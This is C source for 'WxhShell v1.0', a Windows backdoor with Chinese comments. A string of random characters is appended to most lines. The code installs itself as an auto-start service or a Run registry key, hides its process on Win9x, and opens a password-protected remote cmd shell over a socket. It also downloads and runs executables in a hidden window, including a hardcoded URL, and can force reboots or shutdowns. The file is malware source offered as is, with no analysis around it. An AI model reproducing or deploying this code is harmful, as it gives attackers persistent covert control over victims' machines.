  case 'd': { IIg^FZ*]_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LNrX;{ Z  
    if(Boot(SHUTDOWN)) j<u@j+V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vg D77  
    else { ])L A42|  
    closesocket(wsh); CZ(/=3,3n  
    ExitThread(0); & @s!<9$W  
    } KHgBo}6  
    break; 4"{ooy^Q  
    } 2ggdWg7z  
  // 获取shell 0o+6Q8q  
  case 's': { y9_K, g  
    CmdShell(wsh); A3|Dz&@:  
    closesocket(wsh); D$bIo "  
    ExitThread(0); F_;vO%}  
    break; VG,u7A*Z#  
  } zoOaVV&1  
  // 退出 >?6&c  
  case 'x': { !OBEM1~ 1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q0$ !y!~  
    CloseIt(wsh); (>VX-Y/  
    break; u#Z#)3P  
    } 0Uz\H0T1  
  // 离开 UG2nX3?  
  case 'q': { p /#$io  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rniq(FA x  
    closesocket(wsh); NbC@z9Q  
    WSACleanup(); #Yr9AVr}K  
    exit(1); 4T!+D  
    break; T-5nB>)  
        } i|T)p_y(!a  
  } r.#t63Rb  
  } f2^r[kPX"  
DTa N"{  
  // 提示信息 v=_6XF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ytz)d/3T  
} bty/  
  } #bl6sa{E  
s}jHl8  
  return; x9;gT&@H  
} EGZb7:Y?  
O9EKRt  
// shell模块句柄 I9:Cb)hbU]  
int CmdShell(SOCKET sock) l~6?kFy9h  
{ o'W5|Gy  
STARTUPINFO si; tZ^Ou89:rG  
ZeroMemory(&si,sizeof(si)); @1DX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 87=^J xy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bzX\IrJpOZ  
PROCESS_INFORMATION ProcessInfo; GlbySD@  
char cmdline[]="cmd"; gF[z fDm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $:  ]o]a  
  return 0; FI3)i>CnW  
} 4$*%gL;f^  
zgs(Dt;  
// 自身启动模式 /%&2HDA)  
int StartFromService(void) %n hm  
{ c0hwc1kv-  
typedef struct n@U n  
{ f}1&HI8r  
  DWORD ExitStatus; (*oL+ef-C  
  DWORD PebBaseAddress; l-ct?T_@  
  DWORD AffinityMask; &_"]5/"(  
  DWORD BasePriority; ]`&Yqg  
  ULONG UniqueProcessId; B x (uRj  
  ULONG InheritedFromUniqueProcessId; ?Rj~f{%g  
}   PROCESS_BASIC_INFORMATION; hir4ZO%Zt  
)('%R|$ /  
PROCNTQSIP NtQueryInformationProcess; Gm(b/qDDe  
Kj<^zo%w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  ^}:#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GDD '[;  
.h9l7 nZt  
  HANDLE             hProcess; ")V130<  
  PROCESS_BASIC_INFORMATION pbi; b|+wc6   
2Z3('?\z~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B<~ NS)w  
  if(NULL == hInst ) return 0; R,|d`)T  
G(~;]xNW+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r8,romE$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nWMmna.5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Kt"BE j  
k'#(1(xj  
  if (!NtQueryInformationProcess) return 0; ;gs ^%z  
6S+U&Ce\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]p;FZ4-T  
  if(!hProcess) return 0; tkXEHsRT  
;$a@J&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mZx&Xez_G  
q*2N{  
  CloseHandle(hProcess); RTv qls  
lWqrU1Sjl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %-<'QYYP  
if(hProcess==NULL) return 0; #/I[Jqf  
]|sAK%/  
HMODULE hMod; 2Sh  
char procName[255]; NMww>80  
unsigned long cbNeeded; vP !{",>  
K^ B%/T]d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7DIIx}A  
jLpc Zb,  
  CloseHandle(hProcess); de>v  
"R3d+p  
if(strstr(procName,"services")) return 1; // 以服务启动 kI:}| _  
qQ0cJIISb\  
  return 0; // 注册表启动 S-YM%8A[  
} |]aE<`D  
KyzFnVH3)  
// 主模块 ~_s{0g]B  
int StartWxhshell(LPSTR lpCmdLine) HW7; {QMg  
{ zkO<-w  
  SOCKET wsl; ] Puy!Q  
BOOL val=TRUE; bd<m%OM""  
  int port=0; &NSY9'N,  
  struct sockaddr_in door; b*FC\ :\  
z^GDJddG  
  if(wscfg.ws_autoins) Install(); vmLxkjUm#  
H6&J;yT}  
port=atoi(lpCmdLine); 5ux`U{`m  
z8 [yt282  
if(port<=0) port=wscfg.ws_port; 2KQoy;  
cZ<A0  
  WSADATA data; 6<'21  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YSj+\Z$(  
P1NJ^rX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .58qL-iC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4WE6fJ2X  
  door.sin_family = AF_INET; m\ddp_l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;L,mBQB?0b  
  door.sin_port = htons(port); fPrLM'  
[p2H=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MNg^]tpf  
closesocket(wsl); (I@rLvZr{  
return 1; eQVZO>)P1+  
} J@OB`2?Zv  
H<QT3RF2  
  if(listen(wsl,2) == INVALID_SOCKET) { J7v|vj I  
closesocket(wsl); MSV2ip3  
return 1; 0d3+0EN{  
} gd0Vp Xf'  
  Wxhshell(wsl); |,aG%MTL  
  WSACleanup(); .cR -V`  
Y2O"]phi@  
return 0; ;/0 Q1-  
!o>H1#2l  
} fPR$kc h  
W$'R} L  
// 以NT服务方式启动 nwN@DqO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /"?HZ% W  
{ Raw)9tUt  
DWORD   status = 0; z.6$W^  
  DWORD   specificError = 0xfffffff; Gdg)9  
HXoX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b]7GmRekl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %J8|zKT5t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @?[1_g_'P  
  serviceStatus.dwWin32ExitCode     = 0; !=y]Sv~h  
  serviceStatus.dwServiceSpecificExitCode = 0; rLU/W<F8  
  serviceStatus.dwCheckPoint       = 0; A"aV'~>  
  serviceStatus.dwWaitHint       = 0; Dk='+\  
sO5?aB&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jn: NYJv  
  if (hServiceStatusHandle==0) return; @G:V  
q|%(3,)ig  
status = GetLastError(); 'oN\hy($,h  
  if (status!=NO_ERROR) 2>\v*adG  
{ }/,HM9Ke  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6&!&\  
    serviceStatus.dwCheckPoint       = 0; &*s0\ 8  
    serviceStatus.dwWaitHint       = 0; !bC+TYsU  
    serviceStatus.dwWin32ExitCode     = status; (o J9k[(  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5'Q|EIL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .>(Q)"v  
    return; 1RKW2RCaW_  
  } :0/q5_t  
siTX_`0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c,Euv>*`  
  serviceStatus.dwCheckPoint       = 0; vm'5s]kdh  
  serviceStatus.dwWaitHint       = 0; @w>zF/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WsFk:h'r  
} tV9L D>3  
(Z}>1WRju  
// 处理NT服务事件,比如:启动、停止 nkv(~ej(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @vMA=v7a  
{ QaGlR`Y  
switch(fdwControl) N-g8}03  
{ n$aA)"A #  
case SERVICE_CONTROL_STOP: J>^\oAgpE  
  serviceStatus.dwWin32ExitCode = 0; f""`cdqAOh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ms_ VM>l  
  serviceStatus.dwCheckPoint   = 0; `+#G+Vu5  
  serviceStatus.dwWaitHint     = 0; xBFJ} v  
  { a,Gxm!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KI]wm  
  } yIb,,!y9{  
  return; \]9.zlB  
case SERVICE_CONTROL_PAUSE: !m(4F(!"h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]hud4i~  
  break; >|Q:g,I  
case SERVICE_CONTROL_CONTINUE: NWfAxkz {/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?k[p<Uo  
  break; v_S4hz6w\  
case SERVICE_CONTROL_INTERROGATE: + <c^=&7Lq  
  break; =H8 xSJLh  
}; ICB~_O5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jEz+1Nl)  
} @=5qT]%U3J  
:y2p@#l#  
// 标准应用程序主函数 +uWYK9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UwY-7Mmo  
{ =TP( UJ  
D^U: ih  
// 获取操作系统版本 7B3w\  
OsIsNt=GetOsVer(); #&8}<8V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L0%hnA@  
39 Y(!q  
  // 从命令行安装 @>x pYV  
  if(strpbrk(lpCmdLine,"iI")) Install(); zNSu  
];+#i"l  
  // 下载执行文件 i{^Z1;Yl  
if(wscfg.ws_downexe) { ^O^:$nXhYy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h5kPn~  
  WinExec(wscfg.ws_filenam,SW_HIDE); /$"[k2 N  
} QFPfIb/  
O;HY%  
if(!OsIsNt) { L?Yoh<  
// 如果时win9x,隐藏进程并且设置为注册表启动 N:VX!w  
HideProc(); W YW|P2*  
StartWxhshell(lpCmdLine); o$.e^XL  
} r,(e t  
else nsb4S {  
  if(StartFromService()) I1U7.CT  
  // 以服务方式启动 6 fz}  
  StartServiceCtrlDispatcher(DispatchTable); k;dXOn  
else z5Qs @dG  
  // 普通方式启动 .7ayQp  
  StartWxhshell(lpCmdLine); /q\_&@  
~n!!jM:N  
return 0; M!M!Ni  
} = \ , qP  
f DgD@YCD  
%m{U& -(l@  
kJs^ z  
=========================================== 5wC* ?>/  
]>i~6!@  
jx_4B%kzq  
jY!ZkQsVe  
$mA5@O~C5\  
IB9%QW"0  
" nL]^$J$  
P5QQpY{<I  
#include <stdio.h>  1;eX&  
#include <string.h> Cup@TET35  
#include <windows.h> t>UkE9=3\  
#include <winsock2.h> tGc ya0RL  
#include <winsvc.h> %qsvtc`  
#include <urlmon.h> Zszs1{t  
(y4#.vZh:  
#pragma comment (lib, "Ws2_32.lib") 2_QN&o ~h  
#pragma comment (lib, "urlmon.lib") ;%q39U}  
Bz2'=~J  
#define MAX_USER   100 // 最大客户端连接数 %1McD{  
#define BUF_SOCK   200 // sock buffer ts9pM~_~  
#define KEY_BUFF   255 // 输入 buffer j%Y\A~DV  
BRG|Asg(  
#define REBOOT     0   // 重启 Ek.&Sf$cd'  
#define SHUTDOWN   1   // 关机 B`#h{)[  
$<)Yyi>6E  
#define DEF_PORT   5000 // 监听端口 ET^|z  
_q>SE1j+W=  
#define REG_LEN     16   // 注册表键长度 Y^ve:Z  
#define SVC_LEN     80   // NT服务名长度 pF=g||gS  
H ;@!?I  
// 从dll定义API y@ek=fT%4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \6j^k Y=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "u' )g&   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \Mx JH[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r@)A k  
QBE@(2G}C  
// wxhshell配置信息 = Rc"^oS  
struct WSCFG { `kBnSio~  
  int ws_port;         // 监听端口 i&+w _hD  
  char ws_passstr[REG_LEN]; // 口令 >N`6;gn*l  
  int ws_autoins;       // 安装标记, 1=yes 0=no _94s(~g:  
  char ws_regname[REG_LEN]; // 注册表键名 IvBGpT"(I  
  char ws_svcname[REG_LEN]; // 服务名 *8g<R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]Nk!4"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {gy+3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q{4|Kpx@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fJ80tt?r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %EbiMo ]3B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d}0qJoH4  
&y_? rH  
}; /nB'kg[h\  
- HOnB=  
// default Wxhshell configuration j^u[F"  
struct WSCFG wscfg={DEF_PORT, |DG@ht  
    "xuhuanlingzhe", ]gd/}m)1  
    1, ^3I'y UsY  
    "Wxhshell", /r$&]C:Fi  
    "Wxhshell",  ~Nh&.a  
            "WxhShell Service", : 1)}Epo,  
    "Wrsky Windows CmdShell Service", ' lo.h""  
    "Please Input Your Password: ", wgd<3 X  
  1, 9k2,3It  
  "http://www.wrsky.com/wxhshell.exe", <DiOWi  
  "Wxhshell.exe" R ZcH+?7  
    }; bcJ@-i0V  
8cr NOZS6  
// 消息定义模块 xl!K;Y2<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A]y*so!)>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .;Y x*]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]O{_O&w  
char *msg_ws_ext="\n\rExit."; J 3?Dj  
char *msg_ws_end="\n\rQuit."; hH4o;0rqJ  
char *msg_ws_boot="\n\rReboot..."; Sni=gZK  
char *msg_ws_poff="\n\rShutdown..."; 6mG3fMih.  
char *msg_ws_down="\n\rSave to "; 71iRG*O  
@&R1wr1>I5  
char *msg_ws_err="\n\rErr!"; 1i?=JAFfM  
char *msg_ws_ok="\n\rOK!"; m4**>!I  
O2#S: ~h  
char ExeFile[MAX_PATH]; :I/  
int nUser = 0; W%8+t)  
HANDLE handles[MAX_USER]; L{PH0Jf  
int OsIsNt; i-13~Dk  
5Hle-FDn9  
SERVICE_STATUS       serviceStatus; 5RhF+p4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ol cP(  
,t~sV@ap  
// 函数声明 F3 f@9@b   
int Install(void); p?Sl}A@`  
int Uninstall(void); Zc\S$+PM  
int DownloadFile(char *sURL, SOCKET wsh); ,olwwv_8G  
int Boot(int flag); @\!!t{y  
void HideProc(void); u6_jnZGB  
int GetOsVer(void); fPE?hG<x  
int Wxhshell(SOCKET wsl); ^CQ1I0  
void TalkWithClient(void *cs); O)5 #Fcp(  
int CmdShell(SOCKET sock); ]gP8?s|  
int StartFromService(void); UH40~LxIma  
int StartWxhshell(LPSTR lpCmdLine); rt.[,m  
{E~l>Z88  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); syFI$rf _  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )fCMITq.|  
<9 },M  
// 数据结构和表定义 F$ {4X /9n  
SERVICE_TABLE_ENTRY DispatchTable[] = SI_?~Pf3k  
{ nVTM3Cz  
{wscfg.ws_svcname, NTServiceMain}, I@PJl  
{NULL, NULL} ,8`O7V{W  
}; #:W%,$ 9\P  
|Y{PO&-?r  
// 自我安装 B!`\L!  
int Install(void) +!$dO'0nt,  
{ @zs1>\J7  
  char svExeFile[MAX_PATH]; `E;)`J8b  
  HKEY key; AQn[*  
  strcpy(svExeFile,ExeFile); 22I Yrk  
%MNk4UsV  
// 如果是win9x系统,修改注册表设为自启动  ~^7  
if(!OsIsNt) { ((9YG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [tN` :}?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W"O-L  
  RegCloseKey(key); z@`@I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U$09p;~$Ww  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kknhthJ  
  RegCloseKey(key); p,s&61]  
  return 0; |UZOAGiBg  
    } |KaR n;BM  
  } Qi|?d7k0  
} vTcZ8|3e  
else { &?}1AQAYg  
thQ J(w  
// 如果是NT以上系统,安装为系统服务 @ay|]w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P8]ORQ6 ZF  
if (schSCManager!=0) C,='3^Nc  
{ ReqE?CeV  
  SC_HANDLE schService = CreateService /fC\K_<N  
  ( s<#N]mp'   
  schSCManager, 4]u,x`6C  
  wscfg.ws_svcname, f@*>P_t  
  wscfg.ws_svcdisp, uf?b%:A  
  SERVICE_ALL_ACCESS, Wa}"SqYr h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :5<#X8>d  
  SERVICE_AUTO_START, .J:;_4x  
  SERVICE_ERROR_NORMAL, #}j]XWy  
  svExeFile, Nc"NObe  
  NULL, H CuK  
  NULL, 2@5A&b  
  NULL, N=<=dp(  
  NULL, w?/f Zx  
  NULL omT(3)TP  
  ); My0!=4Any  
  if (schService!=0) e9}8RHy1$  
  { W%H]Uyt  
  CloseServiceHandle(schService); iGQ n/Xdo  
  CloseServiceHandle(schSCManager); BWohMT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {)uU6z {'  
  strcat(svExeFile,wscfg.ws_svcname); i)8gCDc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #\0TxG5'QA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d{l{P] nr  
  RegCloseKey(key); Jbkt'Z(&J  
  return 0; W\a!Q]pV  
    } 6,3}/hgWJ$  
  } x36NL^  
  CloseServiceHandle(schSCManager); fYs?D+U;PF  
} Yim#Pq&_  
} "p`o]$Wv  
`+Xe'ey  
return 1; c-|kv[\a  
} \E~Q1eAJT  
|thad!?  
// 自我卸载 0ovZ&l  
int Uninstall(void) /xF 9:r  
{ 6VGo>b;  
  HKEY key; 0+p 5/5  
q:Wq8  
if(!OsIsNt) { Qv\bLR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :`;(p{  
  RegDeleteValue(key,wscfg.ws_regname); !2wETs?  
  RegCloseKey(key); VZIKjrKs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6g8M7<og9R  
  RegDeleteValue(key,wscfg.ws_regname); ?&XzW+(X  
  RegCloseKey(key); E"ZEo9y@^  
  return 0; `fLfT'  
  } (A2U~j?Ry}  
} -#daBx ?  
} YI/{TL8*KK  
else { h k/+  
wJ/ ~q)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G IK u  
if (schSCManager!=0) QT7_x`#J~o  
{ s5nB(L*Pjp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8KZ$ F>T]>  
  if (schService!=0) Pb3EnNqYbM  
  { Z%KL[R}^w;  
  if(DeleteService(schService)!=0) { |E? ,xWN  
  CloseServiceHandle(schService); |c=d;+  
  CloseServiceHandle(schSCManager); )4Bwt`VX  
  return 0; S'|lU@P Cl  
  } <Ak:8&$O  
  CloseServiceHandle(schService); 6(,ItMbI  
  } N:twq&[Y  
  CloseServiceHandle(schSCManager); oO8]lHS?@  
} 9A(n _Rs7?  
} G]at{(^Vz  
EgFl="0  
return 1; }Z^FEd"y  
} Zb}`sk#  
_dJp 3D  
// 从指定url下载文件 w<btv]X1  
int DownloadFile(char *sURL, SOCKET wsh) MkkA{p  
{ F{kG  
  HRESULT hr; rA[nUJ,  
char seps[]= "/"; JThk Wx  
char *token; !B0v<+;P8  
char *file; Y=hP Erw  
char myURL[MAX_PATH]; CgN]dx* `  
char myFILE[MAX_PATH]; b_q! >&c  
tsB.oDMP  
strcpy(myURL,sURL); $#F;xys  
  token=strtok(myURL,seps); d$4WK)U  
  while(token!=NULL) sYl&Q.\q  
  { $U\!q@'$  
    file=token; A&D2T  
  token=strtok(NULL,seps); 8u4gx<;O  
  } q$ bHO  
i?lX,9%  
GetCurrentDirectory(MAX_PATH,myFILE); Y"r3i]  
strcat(myFILE, "\\"); zUe#Wp[  
strcat(myFILE, file); Tw?Pp8'  
  send(wsh,myFILE,strlen(myFILE),0); $:qI&)/  
send(wsh,"...",3,0); 6-D%)Z(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?SHc}iaU#  
  if(hr==S_OK) hgF21Oj9  
return 0; \ x3^  
else IiG4ib>)W  
return 1; Pw0{.W~r  
`' dX/d  
} @\#'oIc|  
B .{8/.4  
// 系统电源模块 l_UXrnm/N  
int Boot(int flag) ' 2;Ny23  
{ $0S.@wUG  
  HANDLE hToken; e{c._zr,  
  TOKEN_PRIVILEGES tkp; ,)0/Ec  
U{j5kX  
  if(OsIsNt) { ;4+qPWwq8W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  ]H@v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r0rJ.}!  
    tkp.PrivilegeCount = 1; &f (sfM_n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AaJ,=eQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @SX%? mk8G  
if(flag==REBOOT) { iuvtj]/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WiPM <'  
  return 0; }Z~pfm_S  
} !~6'@UYo  
else { z:0-aDe M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K * xM[vO  
  return 0; B^E2UNRA  
} gt].rwo"  
  } }dV9%0s!  
  else { uJ2C+$=Ul  
if(flag==REBOOT) { \c5#\1<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'p4da2%  
  return 0; BaNU}@  
} ]w1BJZa36  
else { 4WBo ZJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %!N2!IiVs  
  return 0; iKR8^sj7S  
} +z~ !#j4Q  
} X3&SL~&>g  
fRca"vV  
return 1; Oc^6u  
} CDwFVR'_Af  
e<: 4czh8  
// win9x进程隐藏模块 xCmI7$uQ#  
void HideProc(void) ')Dp%"\?  
{ s!nSE  
F$"MFdc[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '<*CD_2t-  
  if ( hKernel != NULL ) .:#_5K  
  { C[Y%=\6'0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \4]zNV ~x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I_jM-/3b  
    FreeLibrary(hKernel); mmpr]cT@'k  
  } hIE%-gZ/  
\ N-| iq  
return; ZC9.R$}Kl  
} UH1S_:6  
&deZ  
// 获取操作系统版本 U{U:8==  
int GetOsVer(void) RGx]DP$5G  
{ .O@q5G  
  OSVERSIONINFO winfo; {7ZtOe  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K%aPl~e  
  GetVersionEx(&winfo); #w%a m`+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =+SVzK,+3  
  return 1; $)kBz*C[  
  else } Y7W1$he  
  return 0; $9 &Q.Kpq>  
} /: \VwH  
8VAYIxRv  
// 客户端句柄模块 6B!j(R  
int Wxhshell(SOCKET wsl) 6x (L&>F  
{ buxI-wv  
  SOCKET wsh; u+I r:k  
  struct sockaddr_in client; /w}B07.  
  DWORD myID; D=q;+,Pc  
O[5_ 9W 4  
  while(nUser<MAX_USER) N c&i) qh  
{ y . ivz  
  int nSize=sizeof(client); &?5{z\;1"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6S&=OK^  
  if(wsh==INVALID_SOCKET) return 1; 9wDBC~.  
@FnI?Rx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ok~W@sYST  
if(handles[nUser]==0) 7B:ZdDj  
  closesocket(wsh); :+?W  
else >TY5ZRB  
  nUser++; vS24;:f  
  } ?( dYW7S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]L%R[Z!3  
&[2Ej|o  
  return 0; C&CsI] @g  
} |)72E[lL  
7gdU9c/q,  
// 关闭 socket KWn1%oGJ  
void CloseIt(SOCKET wsh) H2FFw-xW  
{ DESViQM  
closesocket(wsh); LGo@F;!n  
nUser--; +~i+k~{`H  
ExitThread(0); X gx2  
} ~y-vKCp|  
y T1Qep  
// 客户端请求句柄 /i~^LITH  
void TalkWithClient(void *cs) lu@>?,<  
{ d;NFkA(df  
M~{P',l*  
  SOCKET wsh=(SOCKET)cs; s2kZZP8-  
  char pwd[SVC_LEN]; >fZ/09&3  
  char cmd[KEY_BUFF]; \w0b"p  
char chr[1]; k1$2a8 ja  
int i,j; / Vm}+"BCS  
(Q+:N;  
  while (nUser < MAX_USER) { BHJ'[{U*w  
sY;gh`4h  
if(wscfg.ws_passstr) { V^$rH<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v(Zi;?c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {i%x s#0h  
  //ZeroMemory(pwd,KEY_BUFF); "aCb;2Rs  
      i=0; CAo )v,f  
  while(i<SVC_LEN) { DP6{HR$L  
4gkV]" H!  
  // 设置超时 #Wc #fP  
  fd_set FdRead; Wru  Fp  
  struct timeval TimeOut; 5c}9  
  FD_ZERO(&FdRead); : ! iPn%  
  FD_SET(wsh,&FdRead); >&TnTv?I  
  TimeOut.tv_sec=8; /@nRL  
  TimeOut.tv_usec=0; 3!oQmG_T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @aV~.!!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vg,>7?]6h  
q V UUuyF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wq_oh*"  
  pwd=chr[0]; | 8L`osg  
  if(chr[0]==0xd || chr[0]==0xa) { %d[xr h  
  pwd=0; rX>y>{w~  
  break;  ZV q  
  } L]}RSE2  
  i++; n-b<vEZw#  
    } P7k$^n  
k@";i4}A  
  // 如果是非法用户,关闭 socket Rn~Xu)@e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ualq>J5-m-  
} _hyxKrm' 6  
aEqI51I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h^_taAdS`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k]/6/s\  
SX=0f^  
while(1) { <sCq x/L  
!E:Vn *k;  
  ZeroMemory(cmd,KEY_BUFF); %Rsf6rJ  
=Wy`X0h  
      // 自动支持客户端 telnet标准   ! 7*_Z=  
  j=0; `i)ePiE  
  while(j<KEY_BUFF) { ]z q_gV8k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PD T\Q\J^X  
  cmd[j]=chr[0]; +-!|%jG`%v  
  if(chr[0]==0xa || chr[0]==0xd) { b`W'M :$  
  cmd[j]=0; cD`O+WA2K  
  break; Gx a.<E^k  
  } BfE-s<  
  j++; -J7,Nw  
    } c'#J{3d  
@Rb1)$~#  
  // 下载文件 ,f0g|5yDf  
  if(strstr(cmd,"http://")) { //u76nQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7(g&z%  
  if(DownloadFile(cmd,wsh)) |UDD/e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rD U6 5j  
  else 5<?c_l9X^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rWfurB5f  
